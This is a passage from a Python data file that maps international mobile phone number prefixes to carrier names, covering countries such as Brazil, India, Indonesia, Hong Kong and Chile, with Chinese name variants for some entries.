'557799815':{'en': 'Vivo'},
'601065':{'en': 'Packcet One'},
'601064':{'en': 'Baraka'},
'601066':{'en': 'DiGi'},
'601061':{'en': 'Baraka'},
'601060':{'en': 'Baraka'},
'601063':{'en': 'Baraka'},
'601062':{'en': 'Baraka'},
'59669610':{'en': 'Digicel'},
'59669611':{'en': 'Digicel'},
'59669612':{'en': 'Martinique Telephone Mobile'},
'59669613':{'en': 'Martinique Telephone Mobile'},
'59669614':{'en': 'Martinique Telephone Mobile'},
'59669615':{'en': 'Martinique Telephone Mobile'},
'59669616':{'en': 'Digicel'},
'59669617':{'en': 'Digicel'},
'59669618':{'en': 'Digicel'},
'557799810':{'en': 'Vivo'},
'557799811':{'en': 'Vivo'},
'557799812':{'en': 'Vivo'},
'559399933':{'en': 'Oi'},
'557799813':{'en': 'Vivo'},
'658868':{'en': 'M1'},
'9177528':{'en': 'Airtel'},
'8536302':{'en': 'CTM'},
'8536651':{'en': 'CTM'},
'8536300':{'en': 'CTM'},
'8536653':{'en': 'CTM'},
'8536654':{'en': 'CTM'},
'8536307':{'en': '3'},
'62276911':{'en': 'Esia'},
'62276910':{'en': 'Esia'},
'62276913':{'en': 'Esia'},
'62276912':{'en': 'Esia'},
'62276915':{'en': 'Esia'},
'62276914':{'en': 'Esia'},
'62276916':{'en': 'Esia'},
'8536657':{'en': '3'},
'9174510':{'en': 'Telenor'},
'658488':{'en': 'M1'},
'557499147':{'en': 'TIM'},
'557499149':{'en': 'TIM'},
'557499148':{'en': 'TIM'},
'569688':{'en': u('N\u00f3made Telecomunicaciones')},
'569686':{'en': 'Movistar'},
'569687':{'en': 'Movistar'},
'569684':{'en': 'Movistar'},
'569685':{'en': 'Movistar'},
'569682':{'en': 'Movistar'},
'569683':{'en': 'Movistar'},
'569680':{'en': 'Movistar'},
'569681':{'en': 'Movistar'},
'6221853':{'en': 'Esia'},
'6221854':{'en': 'Esia'},
'556598421':{'en': 'Brasil Telecom GSM'},
'658738':{'en': 'M1'},
'62274984':{'en': 'Esia'},
'62274985':{'en': 'Esia'},
'62274986':{'en': 'Esia'},
'62274987':{'en': 'Esia'},
'62274980':{'en': 'Esia'},
'62274981':{'en': 'Esia'},
'62274982':{'en': 'Esia'},
'62274983':{'en': 'Esia'},
'62231950':{'en': 'Esia'},
'559699968':{'en': 'Oi'},
'556298185':{'en': 'TIM'},
'917801':{'en': 'Telewings'},
'559699961':{'en': 'Oi'},
'559699963':{'en': 'Oi'},
'559699962':{'en': 'Oi'},
'559699965':{'en': 'Oi'},
'559699964':{'en': 'Oi'},
'559699967':{'en': 'Oi'},
'559699966':{'en': 'Oi'},
'917742':{'en': 'Airtel'},
'6236286':{'en': 'Esia'},
'556298184':{'en': 'TIM'},
'9174639':{'en': 'Airtel'},
'558498147':{'en': 'Vivo'},
'558498146':{'en': 'Vivo'},
'558498145':{'en': 'Vivo'},
'558498144':{'en': 'Vivo'},
'558498143':{'en': 'Vivo'},
'558498142':{'en': 'Vivo'},
'558498141':{'en': 'Vivo'},
'558498140':{'en': 'Vivo'},
'9175930':{'en': 'Vodafone'},
'852531':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852530':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852533':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852532':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'658395':{'en': 'StarHub'},
'852537':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852536':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852539':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852538':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'5579988':{'en': 'Oi'},
'5579989':{'en': 'Oi'},
'5579985':{'en': 'Oi'},
'5579986':{'en': 'Oi'},
'5579987':{'en': 'Oi'},
'593984':{'en': 'Movistar'},
'593985':{'en': 'Claro'},
'593986':{'en': 'Claro'},
'593987':{'en': 'Movistar'},
'593980':{'en': 'Claro'},
'593981':{'en': 'Claro'},
'593983':{'en': 'Movistar'},
'918127':{'en': 'Airtel'},
'593988':{'en': 'Claro'},
'593989':{'en': 'Claro'},
'559399654':{'en': 'Oi'},
'559399655':{'en': 'Oi'},
'559399656':{'en': 'Oi'},
'559399657':{'en': 'Oi'},
'559399651':{'en': 'Oi'},
'559399652':{'en': 'Oi'},
'559399653':{'en': 'Oi'},
'559399658':{'en': 'Oi'},
'559399659':{'en': 'Oi'},
'917074':{'en': 'Idea'},
'601847':{'en': 'U Mobile'},
'601846':{'en': 'U Mobile'},
'601840':{'en': 'U Mobile'},
'65856':{'en': 'StarHub'},
'65854':{'en': 'M1'},
'62815':{'en': 'IM3'},
'9173802':{'en': 'Vodafone'},
'658572':{'en': 'StarHub'},
'9177798':{'en': 'Airtel'},
'558699982':{'en': 'TIM'},
'558699983':{'en': 'TIM'},
'558699981':{'en': 'TIM'},
'558699986':{'en': 'TIM'},
'558699987':{'en': 'TIM'},
'558699984':{'en': 'TIM'},
'558699985':{'en': 'TIM'},
'853666':{'en': 'CTM'},
'917575':{'en': 'Vodafone'},
'558699988':{'en': 'TIM'},
'558699989':{'en': 'TIM'},
'853662':{'en': 'SmarTone'},
'853663':{'en': '3'},
'9174859':{'en': 'Airtel'},
'555499684':{'en': 'Vivo'},
'555499682':{'en': 'Vivo'},
'555499683':{'en': 'Vivo'},
'555499681':{'en': 'Vivo'},
'6688':{'en': 'True Move'},
'6689':{'en': 'DTAC'},
'9173306':{'en': 'Airtel'},
'9173307':{'en': 'Airtel'},
'9173300':{'en': 'Aircel'},
'9173301':{'en': 'Aircel'},
'9173302':{'en': 'Aircel'},
'9173303':{'en': 'Aircel'},
'6682':{'en': 'AIS'},
'6683':{'en': 'True Move'},
'6684':{'en': 'AIS'},
'6685':{'en': 'DTAC'},
'6686':{'en': 'True Move'},
'6687':{'en': 'AIS'},
'9177420':{'en': 'Hexacom'},
'9174688':{'en': 'Dishnet'},
'9174689':{'en': 'Dishnet'},
'917070':{'en': 'Airtel'},
'9174850':{'en': 'Airtel'},
'55619811':{'en': 'TIM'},
'55619813':{'en': 'TIM'},
'55619812':{'en': 'TIM'},
'55619815':{'en': 'TIM'},
'55619814':{'en': 'TIM'},
'55619816':{'en': 'TIM'},
'9172929':{'en': 'Hexacom'},
'9181678':{'en': 'Airtel'},
'9172928':{'en': 'Hexacom'},
'917071':{'en': 'Dishnet'},
'918010':{'en': 'Reliance'},
'9181670':{'en': 'Airtel'},
'9181673':{'en': 'Airtel'},
'9181672':{'en': 'Airtel'},
'9181675':{'en': 'Airtel'},
'9181674':{'en': 'Airtel'},
'9181677':{'en': 'Airtel'},
'9181676':{'en': 'Airtel'},
'556398434':{'en': 'Brasil Telecom GSM'},
'556398435':{'en': 'Brasil Telecom GSM'},
'556398436':{'en': 'Brasil Telecom GSM'},
'556398437':{'en': 'Brasil Telecom GSM'},
'57302':{'en': 'Tigo'},
'556398431':{'en': 'Brasil Telecom GSM'},
'57300':{'en': 'Tigo'},
'556398433':{'en': 'Brasil Telecom GSM'},
'9180980':{'en': 'Vodafone'},
'556398438':{'en': 'Brasil Telecom GSM'},
'556398439':{'en': 'Brasil Telecom GSM'},
'9178230':{'en': 'Reliance'},
'9175480':{'en': 'Vodafone'},
'9181580':{'en': 'Airtel'},
'65943':{'en': 'M1'},
'9175489':{'en': 'Airtel'},
'9175488':{'en': 'Airtel'},
'9181588':{'en': 'Airtel'},
'917073':{'en': 'Airtel'},
'917338':{'en': 'Airtel'},
'556199679':{'en': 'Vivo'},
'556199678':{'en': 'Vivo'},
'556199673':{'en': 'Vivo'},
'556199672':{'en': 'Vivo'},
'556199671':{'en': 'Vivo'},
'556199677':{'en': 'Vivo'},
'556199676':{'en': 'Vivo'},
'556199675':{'en': 'Vivo'},
'556199674':{'en': 'Vivo'},
'556198108':{'en': 'TIM'},
'556198109':{'en': 'TIM'},
'556198102':{'en': 'TIM'},
'556198103':{'en': 'TIM'},
'917241':{'en': 'Idea'},
'556198101':{'en': 'TIM'},
'556198106':{'en': 'TIM'},
'556198107':{'en': 'TIM'},
'556198104':{'en': 'TIM'},
'556198105':{'en': 'TIM'},
'557199181':{'en': 'TIM'},
'556599608':{'en': 'Vivo'},
'556599609':{'en': 'Vivo'},
'556599606':{'en': 'Vivo'},
'556599607':{'en': 'Vivo'},
'556599604':{'en': 'Vivo'},
'556599605':{'en': 'Vivo'},
'556599602':{'en': 'Vivo'},
'556599603':{'en': 'Vivo'},
'556599601':{'en': 'Vivo'},
'62335995':{'en': 'Esia'},
'558399372':{'en': 'Claro BR'},
'9180180':{'en': 'Airtel'},
'5571981':{'en': 'Claro BR'},
'5571982':{'en': 'Claro BR'},
'5571985':{'en': 'Oi'},
'5571986':{'en': 'Oi'},
'5571987':{'en': 'Oi'},
'5571988':{'en': 'Oi'},
'5571989':{'en': 'Oi'},
'9178239':{'en': 'Vodafone'},
'85264535':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'557599165':{'en': 'TIM'},
'85264537':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'85264536':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'557599168':{'en': 'TIM'},
'557599169':{'en': 'TIM'},
'558899908':{'en': 'TIM'},
'558899909':{'en': 'TIM'},
'9175598':{'en': 'Idea'},
'558899904':{'en': 'TIM'},
'558899905':{'en': 'TIM'},
'558899906':{'en': 'TIM'},
'558899907':{'en': 'TIM'},
'60154888':{'en': 'Asian Broadcasting Network'},
'558899901':{'en': 'TIM'},
'558899902':{'en': 'TIM'},
'558899903':{'en': 'TIM'},
'918248':{'en': 'Reliance Jio'},
'918249':{'en': 'Reliance Jio'},
'918240':{'en': 'Reliance Jio'},
'556299993':{'en': 'Vivo'},
'556299992':{'en': 'Vivo'},
'556299997':{'en': 'Vivo'},
'556299996':{'en': 'Vivo'},
'556699658':{'en': 'Vivo'},
'556699659':{'en': 'Vivo'},
'556699654':{'en': 'Vivo'},
'556699655':{'en': 'Vivo'},
'556699656':{'en': 'Vivo'},
'556699657':{'en': 'Vivo'},
'556699651':{'en': 'Vivo'},
'557799148':{'en': 'TIM'},
'556699653':{'en': 'Vivo'},
'556299998':{'en': 'Vivo'},
'62218383':{'en': 'Esia'},
'557799117':{'en': 'TIM'},
'557799116':{'en': 'TIM'},
'9180970':{'en': 'Tata Docomo'},
'6229191':{'en': 'Esia'},
'9183569':{'en': 'Reliance Jio'},
'9183568':{'en': 'Reliance Jio'},
'5555991':{'en': 'Claro BR'},
'556499675':{'en': 'Vivo'},
'556699602':{'en': 'Vivo'},
'62370989':{'en': 'Esia'},
'62370988':{'en': 'Esia'},
'62370987':{'en': 'Esia'},
'62370986':{'en': 'Esia'},
'62370985':{'en': 'Esia'},
'559799933':{'en': 'Oi'},
'9183560':{'en': 'Reliance Jio'},
'9173640':{'en': 'Airtel'},
'66901':{'en': 'AIS'},
'8536619':{'en': 'CTM'},
'8536348':{'en': 'CTM'},
'8536349':{'en': 'CTM'},
'60154850':{'en': 'MyKris'},
'8536347':{'en': 'CTM'},
'8536344':{'en': '3'},
'8536345':{'en': 'CTM'},
'8536342':{'en': 'China Telecom'},
'8536343':{'en': 'China Telecom'},
'5917353':{'en': 'Entel'},
'8536341':{'en': 'China Telecom'},
'8525232':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'9183007':{'en': 'Reliance Jio'},
'9181118':{'en': 'Idea'},
'9181119':{'en': 'Idea'},
'9181110':{'en': 'Vodafone'},
'9181440':{'en': 'Reliance'},
'569848':{'en': 'Claro'},
'569849':{'en': 'Claro'},
'569844':{'en': 'Entel'},
'569845':{'en': 'Entel'},
'569846':{'en': 'Entel'},
'569847':{'en': 'Entel'},
'569840':{'en': 'Entel'},
'569841':{'en': 'Entel'},
'569842':{'en': 'Entel'},
'569843':{'en': 'Entel'},
'918400':{'en': 'Airtel'},
'601046':{'en': 'DiGi'},
'601045':{'en': 'Packet One'},
'601044':{'en': 'Packet One'},
'601043':{'en': 'Maxis'},
'601042':{'en': 'Maxis'},
'601041':{'en': 'Celcom'},
'601040':{'en': 'Celcom'},
'9178873':{'en': 'Idea'},
'9178872':{'en': 'Airtel'},
'9178870':{'en': 'Airtel'},
'9178877':{'en': 'Idea'},
'9178876':{'en': 'Idea'},
'9174149':{'en': 'Airtel'},
'62855':{'en': 'IM3'},
'6272799':{'en': 'Esia'},
'6277899':{'en': 'Esia'},
'569518':{'en': 'Entel'},
'569519':{'en': 'Entel'},
'569516':{'en': 'Entel'},
'569517':{'en': 'Entel'},
'569514':{'en': 'Entel'},
'569515':{'en': 'Entel'},
'569512':{'en': 'Virgin Mobile'},
'569513':{'en': 'Virgin Mobile'},
'569510':{'en': 'Virgin Mobile'},
'569511':{'en': 'Virgin Mobile'},
'556498422':{'en': 'Brasil Telecom GSM'},
'556498423':{'en': 'Brasil Telecom GSM'},
'556498421':{'en': 'Brasil Telecom GSM'},
'556498426':{'en': 'Brasil Telecom GSM'},
'556498427':{'en': 'Brasil Telecom GSM'},
'556498424':{'en': 'Brasil Telecom GSM'},
'556498425':{'en': 'Brasil Telecom GSM'},
'9180530':{'en': 'Vodafone'},
'556498428':{'en': 'Brasil Telecom GSM'},
'556498429':{'en': 'Brasil Telecom GSM'},
'9174538':{'en': 'Telenor'},
'9174539':{'en': 'Telenor'},
'852602':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'6221833':{'en': 'Esia'},
'6221832':{'en': 'Esia'},
'6221836':{'en': 'Esia'},
'6221834':{'en': 'Esia'},
'559199618':{'en': 'Oi'},
'559199619':{'en': 'Oi'},
'559199616':{'en': 'Oi'},
'559199617':{'en': 'Oi'},
'559199614':{'en': 'Oi'},
'559199615':{'en': 'Oi'},
'559199612':{'en': 'Oi'},
'559199613':{'en': 'Oi'},
'559199611':{'en': 'Oi'},
'917416':{'en': 'Tata Docomo'},
'67950':{'en': 'Digicel'},
'67951':{'en': 'Digicel'},
'6222880':{'en': 'Esia'},
'67958':{'en': 'Vodafone'},
'6011177':{'en': 'Maxis'},
'6011176':{'en': 'Maxis'},
'6011175':{'en': 'Maxis'},
'6011174':{'en': 'YTL'},
'6011173':{'en': 'YTL'},
'6011172':{'en': 'YTL'},
'6011171':{'en': 'YTL'},
'6011170':{'en': 'YTL'},
'917417':{'en': 'Tata Docomo'},
'6011179':{'en': 'Maxis'},
'6011178':{'en': 'Maxis'},
'9175950':{'en': 'Airtel'},
'9175959':{'en': 'Airtel'},
'9175958':{'en': 'Airtel'},
'55899941':{'en': 'Claro BR'},
'55899940':{'en': 'Claro BR'},
'55899943':{'en': 'Claro BR'},
'55899942':{'en': 'Claro BR'},
'559999977':{'en': 'Oi'},
'852519':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852518':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852513':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852512':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852511':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'852510':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852517':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852516':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852514':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'659337':{'en': 'StarHub'},
'557798152':{'en': 'Claro BR'},
'557798153':{'en': 'Claro BR'},
'557798150':{'en': 'Claro BR'},
'557798151':{'en': 'Claro BR'},
'593968':{'en': 'Claro'},
'593969':{'en': 'Claro'},
'593967':{'en': 'Claro'},
'593960':{'en': 'CNT'},
'593961':{'en': 'CNT'},
'557599979':{'en': 'Vivo'},
'557599978':{'en': 'Vivo'},
'557599975':{'en': 'Vivo'},
'557599977':{'en': 'Vivo'},
'557599976':{'en': 'Vivo'},
'557599970':{'en': 'Vivo'},
'557599973':{'en': 'Vivo'},
'557599972':{'en': 'Vivo'},
'9172897':{'en': 'Airtel'},
'6271195':{'en': 'Esia'},
'9172895':{'en': 'Airtel'},
'9172894':{'en': 'Airtel'},
'9172893':{'en': 'Airtel'},
'9172892':{'en': 'Airtel'},
'9172891':{'en': 'Airtel'},
'6271194':{'en': 'Esia'},
'9174869':{'en': 'Airtel'},
'9172899':{'en': 'Vodafone'},
'9172898':{'en': 'Vodafone'},
'6271191':{'en': 'Esia'},
'9177900':{'en': 'Idea'},
'5593988':{'en': 'Oi'},
'5593989':{'en': 'Oi'},
'65831':{'en': 'SingTel'},
'5593985':{'en': 'Oi'},
'5593986':{'en': 'Oi'},
'5593987':{'en': 'Oi'},
'65834':{'en': 'SingTel'},
'917419':{'en': 'Reliance'},
'9174338':{'en': 'Vodafone'},
'9174339':{'en': 'Vodafone'},
'9174330':{'en': 'Vodafone'},
'9177908':{'en': 'Aircel'},
'9172840':{'en': 'Idea'},
'9176368':{'en': 'Airtel'},
'62911997':{'en': 'Esia'},
'558499471':{'en': 'Claro BR'},
'62911995':{'en': 'Esia'},
'559999989':{'en': 'Oi'},
'559999986':{'en': 'Oi'},
'559999987':{'en': 'Oi'},
'559999984':{'en': 'Oi'},
'559999985':{'en': 'Oi'},
'9177449':{'en': 'Idea'},
'9177448':{'en': 'Idea'},
'9177440':{'en': 'Idea'},
'9176360':{'en': 'Airtel'},
'9174970':{'en': 'Tata Docomo'},
'658232':{'en': 'StarHub'},
'658233':{'en': 'StarHub'},
'658234':{'en': 'StarHub'},
'658235':{'en': 'StarHub'},
'57320':{'en': 'Claro'},
'57321':{'en': 'Claro'},
'557399980':{'en': 'Vivo'},
'57323':{'en': 'Claro'},
'9174978':{'en': 'Tata Docomo'},
'9174979':{'en': 'Airtel'},
'559899125':{'en': 'Vivo'},
'917975':{'en': 'Reliance Jio'},
'917974':{'en': 'Reliance Jio'},
'917977':{'en': 'Reliance Jio'},
'559899124':{'en': 'Vivo'},
'917973':{'en': 'Reliance Jio'},
'917972':{'en': 'Reliance Jio'},
'917978':{'en': 'Reliance Jio'},
'917549':{'en': 'Vodafone'},
'6148984':{'en': 'Victorian Rail Track'},
'9175175':{'en': 'Idea'},
'9175174':{'en': 'Idea'},
'9175177':{'en': 'Idea'},
'9175176':{'en': 'Idea'},
'9175171':{'en': 'Idea'},
'9175170':{'en': 'Idea'},
'9175173':{'en': 'Idea'},
'9175172':{'en': 'Idea'},
'9175179':{'en': 'Idea'},
'9175178':{'en': 'Idea'},
'917541':{'en': 'Airtel'},
'569989':{'en': 'Entel'},
'569988':{'en': 'Entel'},
'556199693':{'en': 'Vivo'},
'556199692':{'en': 'Vivo'},
'556199695':{'en': 'Vivo'},
'556199694':{'en': 'Vivo'},
'556199697':{'en': 'Vivo'},
'556199696':{'en': 'Vivo'},
'556199699':{'en': 'Vivo'},
'556199698':{'en': 'Vivo'},
'569983':{'en': 'Entel'},
'556198174':{'en': 'TIM'},
'569985':{'en': 'Claro'},
'597771':{'en': 'Telesur'},
'569987':{'en': 'Entel'},
'569986':{'en': 'Claro'},
'556198505':{'en': 'Brasil Telecom GSM'},
'9183969':{'en': 'Vodafone'},
'9183968':{'en': 'Vodafone'},
'917726':{'en': 'Hexacom'},
'9183960':{'en': 'Vodafone'},
'556599624':{'en': 'Vivo'},
'556599625':{'en': 'Vivo'},
'556599626':{'en': 'Vivo'},
'556599627':{'en': 'Vivo'},
'556599621':{'en': 'Vivo'},
'556599622':{'en': 'Vivo'},
'556599623':{'en': 'Vivo'},
'917720':{'en': 'Idea'},
'556198501':{'en': 'Brasil Telecom GSM'},
'556599628':{'en': 'Vivo'},
'556599629':{'en': 'Vivo'},
'558399352':{'en': 'Claro BR'},
'917721':{'en': 'Idea'},
'599700':{'en': 'Digicel'},
'599701':{'en': 'Digicel'},
'886900':{'en': 'FarEasTone'},
'917723':{'en': 'Reliance'},
'557599148':{'en': 'TIM'},
'557599149':{'en': 'TIM'},
'557599144':{'en': 'TIM'},
'557599145':{'en': 'TIM'},
'557599146':{'en': 'TIM'},
'557599147':{'en': 'TIM'},
'557599141':{'en': 'TIM'},
'557599142':{'en': 'TIM'},
'557599143':{'en': 'TIM'},
'559198206':{'en': 'TIM'},
'559198207':{'en': 'TIM'},
'559198204':{'en': 'TIM'},
'559198205':{'en': 'TIM'},
'559198202':{'en': 'TIM'},
'559198203':{'en': 'TIM'},
'9174949':{'en': 'Tata Docomo'},
'559198201':{'en': 'TIM'},
'559198208':{'en': 'TIM'},
'559198209':{'en': 'TIM'},
'559298450':{'en': 'Claro BR'},
'559298451':{'en': 'Claro BR'},
'9180020':{'en': 'Airtel'},
'559499233':{'en': 'Vivo'},
'559499232':{'en': 'Vivo'},
'569770':{'en': 'Entel'},
'917838':{'en': 'Vodafone'},
'918264':{'en': 'Airtel'},
'918266':{'en': 'Tata Docomo'},
'559499230':{'en': 'Vivo'},
'918260':{'en': 'Reliance'},
'918261':{'en': 'Reliance'},
'5581989':{'en': 'Oi'},
'5581988':{'en': 'Oi'},
'5581987':{'en': 'Oi'},
'5581986':{'en': 'Oi'},
'5581985':{'en': 'Oi'},
'918268':{'en': 'Aircel'},
'918269':{'en': 'Videocon'},
'5581981':{'en': 'Vivo'},
'559499944':{'en': 'Oi'},
'917192':{'en': 'Airtel'},
'917518':{'en': 'Airtel'},
'9176090':{'en': 'Airtel'},
'559398408':{'en': 'Claro BR'},
'559398409':{'en': 'Claro BR'},
'559398406':{'en': 'Claro BR'},
'559398407':{'en': 'Claro BR'},
'559398404':{'en': 'Claro BR'},
'559398405':{'en': 'Claro BR'},
'559398402':{'en': 'Claro BR'},
'559398403':{'en': 'Claro BR'},
'559398401':{'en': 'Claro BR'},
'6221317':{'en': 'Esia'},
'8525548':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'8525540':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'8525541':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'8525542':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'8525543':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'8525544':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'8525545':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'8525546':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'8525547':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'61475':{'en': 'Telstra'},
'61474':{'en': 'Telstra'},
'61477':{'en': 'Telstra'},
'61476':{'en': 'Telstra'},
'61470':{'en': 'Lycamobile'},
'61473':{'en': 'Telstra'},
'61472':{'en': 'Telstra'},
'61478':{'en': 'Optus'},
'918290':{'en': 'Hexacom'},
'558899650':{'en': 'TIM'},
'9174701':{'en': 'Dishnet'},
'9174700':{'en': 'Dishnet'},
'62401700':{'en': 'Esia'},
'62401701':{'en': 'Esia'},
'62401702':{'en': 'Esia'},
'62401703':{'en': 'Esia'},
'62401704':{'en': 'Esia'},
'556298102':{'en': 'TIM'},
'918109':{'en': 'Tata Docomo'},
'9175788':{'en': 'Vodafone'},
'9175789':{'en': 'Vodafone'},
'556399998':{'en': 'Vivo'},
'556399999':{'en': 'Vivo'},
'556399994':{'en': 'Vivo'},
'556399995':{'en': 'Vivo'},
'556399996':{'en': 'Vivo'},
'556399997':{'en': 'Vivo'},
'556399991':{'en': 'Vivo'},
'556399992':{'en': 'Vivo'},
'556399993':{'en': 'Vivo'},
'556499911':{'en': 'Vivo'},
'8536328':{'en': 'CTM'},
'8536329':{'en': 'CTM'},
'8536320':{'en': '3'},
'8536321':{'en': '3'},
'8536322':{'en': 'China Telecom'},
'8536323':{'en': 'China Telecom'},
'8536324':{'en': 'CTM'},
'8536325':{'en': 'CTM'},
'8536326':{'en': 'CTM'},
'8536327':{'en': 'CTM'},
'9181420':{'en': 'Vodafone'},
'918105':{'en': 'Airtel'},
'556299694':{'en': 'Vivo'},
'556299695':{'en': 'Vivo'},
'55619996':{'en': 'Vivo'},
'556299697':{'en': 'Vivo'},
'556299691':{'en': 'Vivo'},
'556299692':{'en': 'Vivo'},
'556299693':{'en': 'Vivo'},
'55619998':{'en': 'Vivo'},
'55619999':{'en': 'Vivo'},
'918104':{'en': 'Sistema'},
'559399975':{'en': 'Oi'},
'559399974':{'en': 'Oi'},
'559399977':{'en': 'Oi'},
'559399976':{'en': 'Oi'},
'559399970':{'en': 'Oi'},
'559399973':{'en': 'Oi'},
'559399979':{'en': 'Oi'},
'559399978':{'en': 'Oi'},
'9181130':{'en': 'Idea'},
'9181138':{'en': 'Idea'},
'9181139':{'en': 'Idea'},
'556498408':{'en': 'Brasil Telecom GSM'},
'556498409':{'en': 'Brasil Telecom GSM'},
'9180550':{'en': 'Reliance'},
'59179':{'en': 'Nuevatel'},
'59177':{'en': 'Tigo'},
'556498401':{'en': 'Brasil Telecom GSM'},
'59175':{'en': 'Tigo'},
'59174':{'en': 'Entel'},
'556498404':{'en': 'Brasil Telecom GSM'},
'556498405':{'en': 'Brasil Telecom GSM'},
'556498406':{'en': 'Brasil Telecom GSM'},
'556498407':{'en': 'Brasil Telecom GSM'},
'9174550':{'en': 'Airtel'},
'918099':{'en': 'Reliance'},
'918098':{'en': 'Vodafone'},
'9174558':{'en': 'Airtel'},
'9174559':{'en': 'Airtel'},
'918091':{'en': 'Tata Docomo'},
'918090':{'en': 'Tata Docomo'},
'918097':{'en': 'Tata Docomo'},
'918096':{'en': 'Idea'},
'918095':{'en': 'Vodafone'},
'918094':{'en': 'Vodafone'},
'59669654':{'en': 'Orange'},
'59669655':{'en': 'Orange'},
'59669656':{'en': 'Orange'},
'59669650':{'en': 'Orange'},
'59669651':{'en': 'Orange'},
'59669652':{'en': 'Orange'},
'59669653':{'en': 'Orange'},
'658777':{'en': 'M1'},
'658778':{'en': 'M1'},
'559199634':{'en': 'Oi'},
'559199635':{'en': 'Oi'},
'559199636':{'en': 'Oi'},
'559199637':{'en': 'Oi'},
'559199631':{'en': 'Oi'},
'559199632':{'en': 'Oi'},
'559199633':{'en': 'Oi'},
'9177920':{'en': 'Aircel'},
'559199638':{'en': 'Oi'},
'559199639':{'en': 'Oi'},
'555398408':{'en': 'Brasil Telecom GSM'},
'555398409':{'en': 'Brasil Telecom GSM'},
'9183838':{'en': 'Reliance Jio'},
'555398402':{'en': 'Brasil Telecom GSM'},
'555398403':{'en': 'Brasil Telecom GSM'},
'555398401':{'en': 'Brasil Telecom GSM'},
'555398406':{'en': 'Brasil Telecom GSM'},
'555398407':{'en': 'Brasil Telecom GSM'},
'555398404':{'en': 'Brasil Telecom GSM'},
'555398405':{'en': 'Brasil Telecom GSM'},
'6011151':{'en': 'Tune Talk'},
'6011150':{'en': 'Tune Talk'},
